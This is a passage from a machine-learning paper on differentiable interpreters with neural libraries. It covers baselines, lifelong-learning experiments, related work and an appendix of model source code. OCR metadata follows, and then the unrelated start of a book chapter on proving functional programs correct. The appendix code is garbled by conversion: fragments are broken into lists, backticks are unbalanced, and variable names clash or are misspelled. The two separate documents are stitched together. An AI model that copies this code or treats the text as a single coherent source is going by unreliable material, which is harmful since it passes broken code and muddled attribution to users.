2. **Progressive Neural Network (PNN)**: We follow (Rusu et al., 2016) and build lateral connections linking each task specific column to columns from tasks appearing earlier in the learning lifetime. Weights in all columns except the active task’s column are frozen during a training update. Note that the number of layers in each column must be identical to allow lateral connections, meaning we cannot tune the architecture separately for each task.
3. **Multitask neural network (MTNN)**: We split the column into a shared perceptual part and a task specific part. The perceptual part consists of net_0 and net_1 embedding networks (note that we use a similar symmetry breaking technique mentioned in Sec. 4.1 to encourage specialization of these networks to either digit or operator recognition respectively).
The task-specific part consists of a neural network that maps the perceptual embeddings to a 19 dimensional output. Note that unlike PNNs, the precise architecture of the task specific part of the MTNN can be tuned for each individual task. We consider two MTNN architectures:
(a) **MTNN-1**: All task-specific parts are 3 layer networks comparable to the PNN case.
(b) **MTNN-2**: We manually tune the number of layers for each task and find best performance when the task specific part contains 1 hidden layer for the ADD2X2 tasks and 3 layers for the APPLY2X2 tasks.
5.2. MATH baselines
For the MATH task, we build purely neural baselines which (1) have previously been shown to offer competitive generalization performance for some tasks with sequential inputs of varying length (2) are able to learn to execute arithmetic operations and (3) are easily integrated with the library of perceptual networks learned in the $2 \times 2$ tasks. We consider two models fulfilling these criteria: an LSTM and a Neural GPU.
For the LSTM, at each image in the mathematical expression the network takes in the embeddings of the current symbol from net_0 and net_1, updates an LSTM hidden state and then proceeds to the next symbol. We make a classification of the final answer using the last hidden state of the LSTM. Our best performance is achieved with a 3 layer LSTM with 1024 elements in each hidden state and dropout between layers.
For the Neural GPU, we use the implementation from the original authors\(^4\) (Kaiser & Sutskever, 2016).
\(^4\)available at https://github.com/tensorflow/models/tree/master/neural_gpu
6. Experiments
In this section we report results illustrating the key benefits of NTPT for the lifelong PPBE tasks in terms of knowledge transfer (Sec. 6.1) and generalization (Sec. 6.2).
6.1. Lifelong Learning
Demonstration of lifelong learning requires a series of tasks for which there is insufficient data to learn independent solutions to all tasks and instead, success requires transferring knowledge from one task to the next. Empirically, we find that training any of the purely neural baselines or the NTPT model on individual tasks from the ADD2X2 scenario with only 1k distinct 2 × 2 examples produces low accuracies of around 40 ± 20% (measured on a held-out test set of 10k examples). Since none of our models can satisfactorily solve an ADD2X2 task independently in this small data regime, we can say that any success on these tasks during a lifetime of learning can be attributed to successful knowledge transfer. In addition, we check that if we have the system presented with an example from the ADD2X2 top task, then the performance on this task continues to increase as we train on later tasks - an example of reverse transfer. We verify that this is due to continuous improvement of net.0 in later tasks by observing that the accuracy on the ADD2X2:top task closely tracks measurements of the accuracy of net.0 directly on the digit classification task.
**Avoidance of catastrophic forgetting**: Fig. 6(b) shows the performance of the NTPT on the remaining ADD2X2 tasks. Both Fig. 6(a) and (b) include results for the MTNN-2 baseline (the best baseline for these tasks). Note that whenever the dominant training task swaps from an ADD2X2 task to an APPLY2X2 task the baseline’s performance on ADD2X2 tasks drops. This is because the shared perceptual network becomes corrupted by the change in task - an example of catastrophic forgetting. To try to limit the extent of catastrophic forgetting and make the shared components more robust, we have a separate learning rate for the perceptual networks in both the MTNN baseline and NTPT which is 100 fold smaller than the learning rate for the task-specific parts. With this balance of learning rates we find empirically that NTPT does not display catastrophic forgetting, while the MTNN does.
**Final performance**: Fig. 6(c) focuses on the ADD2X2:left and APPLY2X2:left tasks to illustrate the relative performance of all the baselines described in Sec. 5. Note that although PNNs are effective at avoiding catastrophic forgetting, there is no clear overall winner between the MTNN and PNN baselines. NTPT learns faster and to a higher accuracy than all baselines for all the tasks considered here. For clarity we only plot results for the *:left tasks: the other tasks show similar behavior and the accuracies for all tasks at the end of the lifetime of learning are presented in Fig. 7.
6.2. Generalization
In the final experiment we take net_0/1 from the end of the NTPT 2 × 2 training and start training on the MATH scenario. For the NTPT model we train on arithmetic expressions containing only 2 digits. The known difficulty in training differentiable interpreters with free loop structure (Gaunt et al., 2016) is revealed by the fact that only 2/100 random restarts converge on a correct program in a global optimum of the loss landscape. We detect convergence by a rapid increase in the accuracy on a validation set (typically occurring after around 30k training examples). Once the correct program is found, continuing to train the model mainly leads to further improvement in the accuracy of net_0, which saturates at 97.5% on the digit classification task. The learned source code provably generalizes perfectly to expressions containing any number of digits, and the only limitation on the performance on long expressions comes from the repeated application of the imperfect net_0.
To pick a strong baseline for the MATH problem, we first perform a preliminary experiment with two simplifications: (1) rather than expecting strong generalization from just 2-digit training examples, we train candidate baselines with supervision on examples of up to 5 digits and 4 operators, and (2) we remove the perceptual component of the task, presenting the digits and operators as one-hot vectors rather than images. Fig. 8(a) shows the generalization performance of the LSTM and Neural GPU (512-filter) baselines in this simpler setting after training to convergence. Based on these results, we restrict attention to the LSTM baseline and return to the full task including the perceptual component. In the full MATH task, we initialize the embedding networks of each model using net_0/1 from the end of the NTPT 2 × 2 training. Fig. 8(b) shows generalization of the NTPT and LSTM models on expressions of up to 16 digits (31 symbols) after training to convergence. We find that even though the LSTM shows surprisingly effective generalization when supplied supervision for up to 5 digits, NTPT trained on only 2-digit expressions still offers better results.
7. Related work
Lifelong Machine Learning. We operate in the paradigm of Lifelong Machine Learning (LML) (Thrun, 2003). Note that (Price et al., 2016) also find poor generalization performance for a Neural GPU applied to the similar task of evaluating arithmetic expressions involving binary numbers.
1994; 1995; Thrun & O’Sullivan, 1996; Silver et al., 2013; Chen et al., 2015), where a learner is presented a sequence of different tasks and the aim is to retain and re-use knowledge from earlier tasks to more efficiently and effectively learn new tasks. This is distinct from related paradigms of multitask learning (where a set of tasks is presented rather than in sequence (Caruana, 1997; Kumar & Daume III, 2012; Luong et al., 2015; Rusu et al., 2016)), transfer learning (transfer of knowledge from a source to target domain without notion of knowledge retention (Pan & Yang, 2010)), and curriculum learning (training a single model for a single task of varying difficulty (Bengio et al., 2009)).
The challenge for LML with neural networks is the problem of catastrophic forgetting: if the distribution of examples changes during training, then neural networks are prone to forget knowledge gathered from early examples. Solutions to this problem involve instantiating a knowledge repository (KR) either directly storing data from earlier tasks or storing (sub)networks trained on the earlier tasks with their weights frozen. This knowledge base allows either (1) rehearsal on historical examples (Robins, 1995), (2) rehearsal on virtual examples generated by the frozen networks (Silver & Mercer, 2002; Silver & Poirier, 2006) or (3) creation of new networks containing frozen sub networks from the historical tasks (Rusu et al., 2016; Shultz & Rivest, 2001).
To frame our approach in these terms, our KR contains partially-trained neural network classifiers which we call from learned source code. Crucially, we never freeze the weights of the networks in the KR: all parts of the KR can be updated during the training of all tasks - this allows us to improve performance on earlier tasks by continuing training on later tasks (so-called reverse transfer). Reverse transfer has been demonstrated previously in systems which assume that each task can be solved by a model parameterized by an (uninterpretable) task-specific linear combination of shared basis weights (Ruvolo & Eaton, 2013). The representation of task-specific knowledge as source code, learning from weak supervision, and shared knowledge as a deep neural networks distinguishes this work from the linear model used in (Ruvolo & Eaton, 2013).
Neural Networks Learning Algorithms. Recently, extensions of neural networks with primitives such as memory and discrete computation units have been studied to learn algorithms from input-output data (Graves et al., 2014; Weston et al., 2014; Joulin & Mikolov, 2015; Grefenstette et al., 2015; Kurach et al., 2015; Kaiser & Sutskever, 2016; Reed & de Freitas, 2016; Bunel et al., 2016; Andrychowicz & Kurach, 2016; Zaremba et al., 2016; Graves et al., 2016; Riedel et al., 2016; Gaunt et al., 2016; Feser et al., 2016). A dominant trend in these works is to use a neural network controller to managing differentiable computer architecture. We flip this relationship, and in our approach, a differentiable interpreter acts as the controller that can make calls to neural network components.
The methods above, with the exception of (Reed & de Freitas, 2016) and (Graves et al., 2016), operate on inputs of (arrays of) integers. However, (Reed & de Freitas, 2016) requires extremely strong supervision, where the learner is shown all intermediate steps to solving a problem; our learner only observes input-output examples. (Reed & de Freitas, 2016) also show the performance of their system in a multitask setting. In some cases, additional tasks harm performance of their model and they freeze parts of their model when adding to their library of functions. Only (Bunel et al., 2016), (Riedel et al., 2016) and (Gaunt et al., 2016) aim to consume and produce source code that can be provided by a human (e.g. as sketch of a solution) or returned to a human (to potentially provide feedback).
8. Discussion
We have presented neural terpret, a framework for building end-to-end trainable models that structure their solution as a source code description of an algorithm which may make calls into a library of neural functions. Experimental results show that these models can successfully be trained in a lifelong learning context, and they are resistant to catastrophic forgetting; in fact, they show that even after instances of earlier tasks are no longer presented to the model, performance still continues to improve.
Our experiments concentrated on two key benefits of the hybrid representation of task solutions as source code and neural networks. First, the source code structure imposes modularity which can be seen as focusing the supervision. If a component is not needed for a given task, then the differentiable interpreter can choose not to use it, which shuts off any gradients from flowing to that component. We speculate that this could be a reason for the models being resistant to catastrophic forgetting, as the model either chooses to use a classifier, or ignores it (which leaves the component unchanged). The second benefit is that learning programs imposes a bias that favors learning models that exhibit strong generalization. Additionally, the source code representation has the advantage of being interpretable by humans, allowing verification and incorporation of domain knowledge describing the shape of the problem through the source code structure.
The primary limitation of this design is that it is known that differentiable interpreters are difficult to train on problems significantly more complex than those presented here (Kurach et al., 2015; Neelakantan et al., 2016; Gaunt et al., 2016). However, if progress can be made on more robust training of differentiable interpreters (perhaps extending ideas in (Neelakantan et al., 2016) and (Feser et al., 2016)), then we believe there to be great promise in using hybrid models to build large lifelong learning systems.
References
A. Street sign mazes
To introduce the NTPT modelling language, we provided an illustrative task in Fig. 1: Given a grid of \(W \times H\) directional street signs, follow arrows and measure the length of a path from a randomly chosen start square to a randomly placed stop sign. For completeness, we provide a short description of experiments on this task.
To generate a dataset we selected traffic signs depicting arrows and stop signs from the GTRSB dataset (Stallkamp et al., 2011). These signs were cropped to the bounding box specified in the data set, converted to grayscale and resized to 28 × 28 pixels. Grids of \(W \times H\) signs were constructed, each containing a path of arrows leading from a randomly chosen start square to a randomly placed stop sign (grid cells not on this path were populated with random arrows). Each maze of signs is labeled with the length of the path between the start and stop cells (following the arrows). Without any direct supervision of what path to take, the system should learn a program that takes a grid of images and returns the path length. We train on \(10^3\) mazes of \(W \times H = 3 \times 2\) and test on \(10^3\) unseen \(3 \times 2\) mazes. We keep the set of sign images used to construct the training and test data distinct. After training, we inspect the learned \(W \times H\) program to see if the system has learned to use the instructions \textsc{look}, \textsc{move}, and \textsc{inc} in a loop that generalizes to larger \(W\) and \(H\).
Empirically, we find that 2% of random restarts successfully converge to a program that generalizes. Unsuccessful restarts stall in local optimization minima, and we present examples of successful and unsuccessful training trajectories in Fig. 9.
B. Model source code
We provide the NTPT source code for the models described in the main text.
B.1. ADD2x2 scenario
This model learns straight-line code to navigate an accumulate a 2 × 2 grid of MNIST tiles.
```python
# constants
IMAGE_SIZE = 28;
NUM_INSTR = 6
NUM_DIGITS = 10;
T = 5
MAX_INT = 2 * NUM_DIGITS - 1;
NUM_NETS = 2
GRID_SIZE = 2
SIZES = [256, 256]
DIGITS = 10;
NUM = 10, MAX = 64
# variables
tiles = InputTensor(IMAGE_SIZE, IMAGE_SIZE)[4]
final_sum = Output(MAX_INT)
instr = Param(NUM_INSTR)[T - 1]
arg1s = Param(T)[T - 1]
arg2s = Param(T)[T - 1]
return_reg = Param(T)
et_choice = Param(NUM_NETS)
pos = Var(4)[T]
registers = Var(MAX_INT)[T, T]
tmp = Var(10)[T]
tmp = Var(4)[T]
# functions
@Learn([Vector(IMAGE_SIZE, IMAGE_SIZE)], 10,
hid_sizes = [256, 256])
def net_0(img):
pass
@Learn([Vector(IMAGE_SIZE, IMAGE_SIZE)], 4,
hid_sizes = [256, 256])
def net_1(img):
pass
@Runtime([MAX_INT, MAX_INT, MAX_INT])
def Add(a, b):
return (a + b)
@Runtime([4], 4)
def move_east(pos):
x = pos % GRID_SIZE
y = pos / GRID_SIZE
x = x + 1 if x + 1 < GRID_SIZE else (GRID_SIZE - 1)
new_pos = GRID_SIZE * y + x
return new_pos
#... similar definitions for move.south/west/north
@Runtime([4], MAX_INT)
def embed_op_code(c):
return c
@Runtime([10], MAX_INT)
def embed_digit(c):
return c
# initialization
pos[0].set_to(0)
if net_choice == 0:
tmp_0[0].set_to(net_0(tiles[0]))
registers[0, 0].set_to(embed_digit(tmp_0[0]))
elif net_choice == 1:
tmp_1[0].set_to(net_1(tiles[0]))
registers[0, 0].set_to(embed_op_code(tmp_1[0]))
for r in range(1, T):
registers[0, r].set_to(0)
# execution model
for t in range(T - 1):
if instr[t] == 0: # NOOP
pos[t + 1].set_to(pos[t])
registers[t + 1, t + 1].set_to(0)
elif instr[t] == 1: # ADD
with arg1s[t] as a1:
with arg2s[t] as a2:
registers[t + 1, t + 1].set_to(Add(registers[t + 1, t + 1], registers[t, a2]))
pos[t + 1, t + 1].set_to(pos[t + 1, t + 1])
elif instr[t] == 2: # MOVE.EAST
pos[t + 1].set_to(move_east(pos[t + 1]))
```
Figure 9: Example learning trajectories on the street sign task from Fig. 1. We show the accuracy on a test set during training for two successful random restarts (red) and two unsuccessful restarts (blue).
### B.2. APPLYX2 scenario
This model is a small variation on the above to navigate a 2 × 2 grid of operator tiles and apply the operators to `aux ints`.
#### # constants
- `IMAGE_SIZE` = 28;
- `NUM_INSTR` = 6
- `MAX_INT` = 2 × `NUM_DIGITS` − 1;
- `NUM_NETS` = 2
#### # variables
- `tiles` = `InputTensor(image_size, image_size)[4]`
- `aux_ints` = `InputTensor(max_int)[3]`
- `final_sum` = `Output(max_int)`
- `instr` = `Param(num_instr)[T − 1]
- `arg1s` = `Param(T + 3)[T − 1]
- `arg2s` = `Param(T + 3)[T − 1]
- `return_reg` = `Param(t)
- `net_choice` = `Param(num_nets)
#### # functions
- `def net_0(img):`
- `def net_1(img):`
- `def runtime(max_int, max_int, 4, max_int)
#### # initialization
- `pos[0].set_to(0)
- `registers[0, 0].set_to(aux_ints[0])
- `registers[0, 1].set_to(aux_ints[1])
- `registers[0, 2].set_to(aux_ints[2])`
#### # execution model
For `t in range(T − 1):
- `if instr[t] == 0: # NOOP`
- `pos[t + 1].set_to(pos[t])`
- `registers[t + 1, t + 4].set_to(0)
- `elif instr[t] == 1: # APPLY`
- `with args[t] as a3:`
- `tmp_opcode = Param(num_nets)`
- `registers[t + 1, t + 4].set_to(0
- `elif instr[t] == 2: # MOVE_E`
- `with pos[t + 1].set_to(move_east(pos[t])`
- `pos[t + 1].set_to(pos[t])`
- `for r in range(4):`
- `for r in range(2):`
- `if net_choice == 0:
- `tmp_0[1].set_to(net_0(tiles[p]))
- `registers[1, t + 1].set_to(0
- `elif net_choice == 1:
- `tmp_1[1].set_to(net_1(tiles[p]))
- `registers[1, t + 1].set_to(0
- `register op_code`
- `final_sum.set_to(registers[T − 1, r])`
### B.3. MATH scenario
This model can learn a loopy program to evaluate a simple handwritten mathematical expression.
#### # constants
- `N_TILES` = 4;
- `T` = 6;
- `N_INSTR` = 2
- `N_BLOCK` = 3;
- `N_REG` = `N_BLOCK
- `MAX_INT` = 19;
- `IMAGE_SIZE` = 28
#### # variables
- `tiles` = `InputTensor(image_size, image_size)[N_TILES]`
- `final_sum` = `Output(max_int)`
- `halt_at_end` = `Output(2)`
- `instr` = `Param(numInstr)[N_BLOCK]`
- `arg1s` = `Param(N_REG)[N_BLOCK]`
- `arg2s` = `Param(N_REG)[N_BLOCK]`
- `arg3s` = `Param(N_REG)[N_BLOCK]`
- `net_choice` = `Param(2)[N_BLOCK]`
- `goto_block` = `Param(N_BLOCK)[N_BLOCK]`
- `return_reg` = `Param(N_REG)`
- `block_ptr` = `Var(N_BLOCK)[T + 1]
- `registers = Var(max_int)[T + 1, N_REG]`
- `pos = Var(N_TILES)[T + 1]
- `ishalted = Var(2)[T + 1]
#### # execution model
- `def extract_op_code(c): return c if c < 4 else 0`
- `def embed_op_code(c): return c
- `def runtime(max_int, 4, max_int)`
- `def embed_digit(c): return c`
# Differentiable Programs with Neural Libraries
## Functions
@Learn([Vector(IMAGE_SIZE, IMAGE_SIZE)], 10, hid_sizes = [256, 256])
```
def net0(img):
pass
```
@Learn([Vector(IMAGE_SIZE, IMAGE_SIZE)], 4, hid_sizes = [256, 256])
```
def classify(img):
pass
```
@Runtime([MAX_INT, MAX_INT, 4], MAX_INT)
```
def Apply(a, b, op):
if op == 0:
return (a + b) % MAX_INT
elif op == 1:
return (a - b) % MAX_INT
elif op == 2:
return (a * b) % MAX_INT
elif op == 3:
return (MAX_INT - 1 if b == 0 else int(a / b) % MAX_INT)
else:
return a
```
@Runtime([N_TILES], N_TILES)
```
def move_east(pos):
return (pos + 1) % N_TILES
```
@Runtime([N_BLOCK], N_BLOCK)
```
def inc_block_ptr(bp):
return (bp + 1) % N_BLOCK
```
@Runtime([4], MAX_INT)
```
def embed_op_code(c):
return c
```
@Runtime([10], MAX_INT)
```
def embed_digit(c):
return c
```
@Runtime([N_TILES], 2)
```
def pos_eq_zero(pos):
return 1 if pos == 0 else 0
```
@Runtime([MAX_INT], 4)
```
def extract_op_code(c):
return c if c < 4 else 0
```
@Runtime([N_REG, N_REG], 2)
```
def register_equality(r1, r2):
return 1 if r1 == r2 else 0
```
# Initialization
```
pos[0].set_to(0)
block_ptr[0].set_to(0)
for r in range(N_REG):
registers[0, r].set_to(0)
ishalted[0].set_to(0)
```
# Execution Model
```
for t in range(T):
if ishalted[t] == 1:
ishalted[t+1].set_to(ishalted[t])
block_ptr[t+1].set_to(block_ptr[t])
pos[t+1].set_to(pos[t])
for r in range(N_REG):
registers[t+1, r].set_to(registers[t, r])
elif ishalted[t] == 0:
with block_ptr[t] as bp:
if instr[bp] == 0: # APPLY
with args[bp] as a3:
tmp_op_code[bp].set_to(extract_op_code(registers[bp, a3]))
with args[bp] as a1:
with args[bp] as a2:
registers[t + 1, bp].set_to(Apply(registers[t, a1], registers[t, a2], tmp_op_code[bp]))
pos[t + 1].set_to(pos[t])
elif instr[bp] == 1: # MOVE
pos[t + 1].set_to(move_east(pos[t]))
with pos[t + 1] as p:
if net_choice[bp] == 0:
tmp_0[bp].set_to(net_0[tiles[p]])
registers[t + 1, bp].set_to(embed_digit(tmp_0[bp]))
elif net_choice[bp] == 1:
tmp_1[bp].set_to(net_1[tiles[p]])
registers[t + 1, bp].set_to(embed_op_code(tmp_1[bp]))
block_ptr[t + 1].set_to(goto_block[bp])
ishalted[t+1].set_to(pos_eq_zero(pos[t + 1]))
for r in range(N_REG):
registers[t+1, r].set_to(registers[t, r])
```
```
for r in range(bp+1, N_REG):
registers[t + 1, r].set_to(registers[t, r])
```
with return_reg as r:
final_sum.set_to(registers[T, r])
halt_at_end.set_to(ishalted[T])
|
{"Source-Url": "https://www.microsoft.com/en-us/research/wp-content/uploads/2017/03/main2-1.pdf", "len_cl100k_base": 10131, "olmocr-version": "0.1.53", "pdf-total-pages": 13, "total-fallback-pages": 0, "total-input-tokens": 52578, "total-output-tokens": 13353, "length": "2e13", "weborganizer": {"__label__adult": 0.00047087669372558594, "__label__art_design": 0.0005478858947753906, "__label__crime_law": 0.0003633499145507813, "__label__education_jobs": 0.0009627342224121094, "__label__entertainment": 0.00011390447616577148, "__label__fashion_beauty": 0.00023055076599121096, "__label__finance_business": 0.00023221969604492188, "__label__food_dining": 0.0004718303680419922, "__label__games": 0.0008225440979003906, "__label__hardware": 0.0017833709716796875, "__label__health": 0.0006432533264160156, "__label__history": 0.0003077983856201172, "__label__home_hobbies": 0.00018513202667236328, "__label__industrial": 0.0006866455078125, "__label__literature": 0.0003485679626464844, "__label__politics": 0.0003006458282470703, "__label__religion": 0.0006437301635742188, "__label__science_tech": 0.07843017578125, "__label__social_life": 0.00010836124420166016, "__label__software": 0.006549835205078125, "__label__software_dev": 0.904296875, "__label__sports_fitness": 0.0003669261932373047, "__label__transportation": 0.0008215904235839844, "__label__travel": 0.00022327899932861328}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 47933, 0.04041]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 47933, 0.72368]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 47933, 0.83746]], "google_gemma-3-12b-it_contains_pii": [[0, 4134, false], [4134, 6571, null], [6571, 11605, null], [11605, 16742, null], [16742, 20441, null], [20441, 23304, null], [23304, 25782, null], [25782, 31709, null], [31709, 36189, null], [36189, 38350, null], [38350, 42460, null], [42460, 45022, null], [45022, 47933, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4134, true], [4134, 6571, null], [6571, 11605, null], [11605, 16742, null], [16742, 20441, null], [20441, 23304, null], [23304, 25782, null], [25782, 31709, null], [31709, 36189, null], [36189, 38350, null], [38350, 42460, null], [42460, 45022, null], [45022, 47933, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 47933, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 47933, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 47933, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 47933, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 47933, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 47933, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 47933, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 47933, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 47933, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 47933, null]], "pdf_page_numbers": [[0, 4134, 1], [4134, 6571, 2], [6571, 11605, 3], [11605, 16742, 4], [16742, 20441, 5], [20441, 23304, 6], [23304, 25782, 7], [25782, 31709, 8], [31709, 36189, 9], [36189, 38350, 10], [38350, 42460, 11], [42460, 45022, 12], [45022, 47933, 13]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 47933, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-10
|
2024-12-10
|
f42e7ad4ae50c20c8917cbbdc96dea21239e503a
|
[REMOVED]
|
{"len_cl100k_base": 11255, "olmocr-version": "0.1.53", "pdf-total-pages": 12, "total-fallback-pages": 0, "total-input-tokens": 37917, "total-output-tokens": 13818, "length": "2e13", "weborganizer": {"__label__adult": 0.00029730796813964844, "__label__art_design": 0.0003709793090820313, "__label__crime_law": 0.000202178955078125, "__label__education_jobs": 0.0010614395141601562, "__label__entertainment": 5.2809715270996094e-05, "__label__fashion_beauty": 0.00014603137969970703, "__label__finance_business": 0.0002789497375488281, "__label__food_dining": 0.00024044513702392575, "__label__games": 0.0006651878356933594, "__label__hardware": 0.0006036758422851562, "__label__health": 0.00024318695068359375, "__label__history": 0.0001852512359619141, "__label__home_hobbies": 6.896257400512695e-05, "__label__industrial": 0.0002601146697998047, "__label__literature": 0.00028324127197265625, "__label__politics": 0.00014710426330566406, "__label__religion": 0.0003097057342529297, "__label__science_tech": 0.00626373291015625, "__label__social_life": 6.246566772460938e-05, "__label__software": 0.005725860595703125, "__label__software_dev": 0.98193359375, "__label__sports_fitness": 0.00019657611846923828, "__label__transportation": 0.0003371238708496094, "__label__travel": 0.00016164779663085938}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 64784, 0.01962]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 64784, 0.32614]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 64784, 0.91168]], "google_gemma-3-12b-it_contains_pii": [[0, 4429, false], [4429, 11313, null], [11313, 17541, null], [17541, 21649, null], [21649, 28033, null], [28033, 33766, null], [33766, 40300, null], [40300, 41572, null], [41572, 47004, null], [47004, 52927, null], [52927, 59199, null], [59199, 64784, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4429, true], [4429, 11313, null], [11313, 17541, null], [17541, 21649, null], [21649, 28033, null], [28033, 33766, null], [33766, 40300, null], [40300, 41572, null], [41572, 47004, null], [47004, 52927, null], [52927, 59199, null], [59199, 64784, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 64784, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 64784, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 64784, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 64784, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 64784, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 64784, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 64784, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 64784, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 64784, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 64784, null]], "pdf_page_numbers": [[0, 4429, 1], [4429, 11313, 2], [11313, 17541, 3], [17541, 21649, 4], [21649, 28033, 5], [28033, 33766, 6], [33766, 40300, 7], [40300, 41572, 8], [41572, 47004, 9], [47004, 52927, 10], [52927, 59199, 11], [59199, 64784, 12]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 64784, 0.10294]]}
|
olmocr_science_pdfs
|
2024-12-10
|
2024-12-10
|
fbaf1b544217849a559e23bba7bf7919f96c8279
|
4. Proof
Simon J. Thompson
4.1 Introduction
In this chapter we examine ways in which functional programs can be proved correct. For a number of reasons this is easier for functional than for imperative programs. In the simplest cases functional programs are equations, so the language documents itself, as it were. Beyond this we often have a higher-level expression of properties, by means of equations between functions rather than values. We can also express properties which cannot simply be discussed for imperative programs, using notations for lists and other algebraic data types, for instance.
Apart from the general observation that proofs carry over directly to implicitly parallel functional systems, what is the particular relevance of proof to parallel functional programming? Two particular points are emphasised in this chapter.
- Lazy evaluation gives infinite and partial data structures, which can be viewed as describing the data flowing around deterministic networks of processes (see Section 3.5). Section 4.8.3 gives a proof that a process network produces the list of factorials; the bisimulation method used here forms a link with verification techniques for process algebras, which give a declarative treatment of parallelism and non-determinism and which are surveyed in Section 4.8.4.
- There is an important thread in the development of functional programming, going back at least to Backus' FP [27], which argues that it is best to eschew explicit recursion and to program using a fixed set of higher-order, polymorphic combinators, which are related to programming skeletons (see Section 3.5). The properties of these combinators can be seen as logical laws in an algebra of programming [51]. These laws can also be seen to have intensional content, with a transformation from left- to right-hand side representing a change in the cost of an operation, or in the parallelism implicit there (see Chapter 8 for more details of cost modelling). This topic is examined further in Section 4.9.3.
The equational model, explored in Section 4.2, gives the spirit of functional program verification, but it needs to be modified and strengthened in various ways in order to apply to a full functional language. The pattern of the chapter will be to give a succession of refinements of the logic as further features are added to the language. These we look at now.
---
1 Computing Laboratory, University of Kent at Canterbury, UK.
The defining forms of languages are more complex than simple equations. Section 4.3 looks at conditional definitions (using “guards”), pattern matching and local definitions (in \texttt{let} and \texttt{where} clauses) each of which adds complications, not least when the features interact.
Reasoning cannot be completely equational. We need to be able to reason by cases, and in general to be able to prove properties of functions defined by recursion. Structural induction is the mechanism: it is discussed in Section 4.4, and illustrated by a correctness proof for a miniature compiler in Section 4.5.
With general recursion, examined in Section 4.6 and which is a feature of all languages in the current mainstream, comes the possibility of non-termination of evaluation. In a non-strict language general recursion has the more profound effect of introducing infinite and partial lists and other data structures.
In both strict and non-strict languages this possibility means in turn that in interpreting the meaning of programs we are forced to introduce extra values at each type. This plainly affects the way in which the logic is expressed, and its relation to familiar properties of, say, the integers. The background to this is explored in Section 4.7.
Section 4.8 gives an overview of the two principal approaches to giving meanings to programs – denotational semantics and operational semantics – and their implications for program verification. A proof of correctness for a function defined by general recursion exemplifies the denotational approach, whilst operational semantics underpins a proof that a lazy process network generates the list of factorials. This last proof forms a link with the process algebra approach to parallelism, which is also discussed in this section.
Because of the complications which non-termination brings, there has been recent interest in terminating languages and these are introduced in Section 4.9. Of particular relevance here is the transformational approach of Backus, Bird and others.
A fully-fledged language will allow users to interact with the environment in various ways, but at its simplest by reading input and writing output. This is supported in a variety of ways, including the side-effecting functions of Standard ML (SML) and the monads of Haskell 98. SML also allows mutable references and exceptions. In this chapter we cover only the pure parts of languages, but refer readers to [221] for a perspicacious discussion of program verification for various forms of input/output including monadic I/O. Recent work on modelling SML-style references can be found in [465].
This chapter does not try to address all the work on verification of parallel imperative programs: Sections 8.9 and 8.10 of the exhaustive survey [140] more than do justice to this topic, and put it in the context of imperative program verification in general. On the other hand, links with process algebra are examined in Section 4.8.4.
4.2 The Basis of Functional Programming: Equations
In this section we examine the basis of functional programming and show how the definitions of a simple functional program can be interpreted as logical equations. An examination of how this approach can be modified and extended to work in general forms the main part of the chapter.
A functional program consists of a collection of definitions of functions and other values. An example program using the notation of the Haskell language [448] is
```haskell
test :: Integer
test = 42
id :: a -> a
id x = x
plusOne :: Integer -> Integer
plusOne n = (n+1)
minusOne :: Integer -> Integer
minusOne n = (n-1)
```
Execution of a program consists of evaluating an expression which uses the functions and other objects defined in the program (together with the built-in operations of the language). Evaluation works by the replacement of sub-expressions by their values, and is complete when a value is produced. For instance, evaluation of
```
plusOne (minusOne test)
```
will proceed thus:
```
plusOne (minusOne test)
=> (minusOne test) + 1
=> (test - 1) + 1
=> 42 - 1 + 1
=> 42
```
where it can be seen that at each stage of the evaluation one of the defining equations is used to rewrite a sub-expression which matches the left-hand side of a definition, like
```
minusOne test
```
to the corresponding right-hand side,
```
test - 1
```
The model of evaluation for a real language such as Haskell or ML is somewhat more complex; this will be reflected by the discussion in subsequent sections.
